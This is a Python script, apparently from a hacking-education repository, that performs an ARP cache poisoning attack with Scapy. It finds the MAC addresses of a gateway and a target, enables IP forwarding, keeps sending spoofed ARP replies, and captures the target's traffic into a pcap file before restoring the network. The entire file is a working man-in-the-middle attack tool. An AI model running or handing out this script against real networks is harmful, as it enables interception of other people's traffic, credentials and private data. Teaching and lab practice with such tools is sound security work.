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https://github.com/The-Art-of-Hacking/h4cker.git
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87 lines
3.1 KiB
Python
87 lines
3.1 KiB
Python
#!/usr/bin/env python3
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# Example script to perform an ARP cache poisoning attack using SCAPY
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# v: 0.1
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# Omar Santos @santosomar
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from scapy.all import *
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import os
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import signal
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import sys
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import threading
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import time
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#network and interface parameters
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gateway_ip = "192.168.78.1"
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target_ip = "192.168.78.123"
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packet_count = 1000
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conf.iface = "en0"
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conf.verb = 0
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# Once given an IP address, it will try to find a MAC address.
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def get_mac(ip_address):
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#An alternate method is using Layer 2: resp, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
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resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
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for s,r in resp:
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return r[ARP].hwsrc
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return None
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#Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with
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def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
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send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
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print("[*] Disabling IP forwarding")
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#Disable IP Forwarding on a mac
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os.system("sysctl -w net.inet.ip.forwarding=0")
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#kill process on a mac
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os.kill(os.getpid(), signal.SIGTERM)
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def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
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print("[*] Started ARP poison attack [CTRL-C to stop]")
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try:
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while True:
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send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
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send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
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time.sleep(2)
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except KeyboardInterrupt:
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print("[*] Stopped ARP poison attack. Restoring network")
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restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
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print("[*] Starting arp_cache_poisoner")
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print("[*] Enabling IP forwarding")
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os.system("sysctl -w net.inet.ip.forwarding=1")
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print(f"[*] Gateway IP address: {gateway_ip}")
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print(f"[*] Target IP address: {target_ip}")
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gateway_mac = get_mac(gateway_ip)
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if gateway_mac is None:
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print("[!] Unable to get gateway MAC address. Exiting..")
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sys.exit(0)
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else:
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print(f"[*] Gateway MAC address: {gateway_mac}")
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target_mac = get_mac(target_ip)
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if target_mac is None:
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print("[!] Unable to get target MAC address. Exiting..")
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sys.exit(0)
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else:
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print(f"[*] Target MAC address: {target_mac}")
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#ARP poison thread
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poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
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poison_thread.start()
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#Collect packet captures and save it to a file
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try:
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sniff_filter = "ip host " + target_ip
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print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
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packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
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wrpcap(target_ip + "_capture.pcap", packets)
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print(f"[*] Stopping network capture..Restoring network")
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restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
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except KeyboardInterrupt:
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print(f"[*] Stopping network capture..Restoring network")
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restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
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sys.exit(0)
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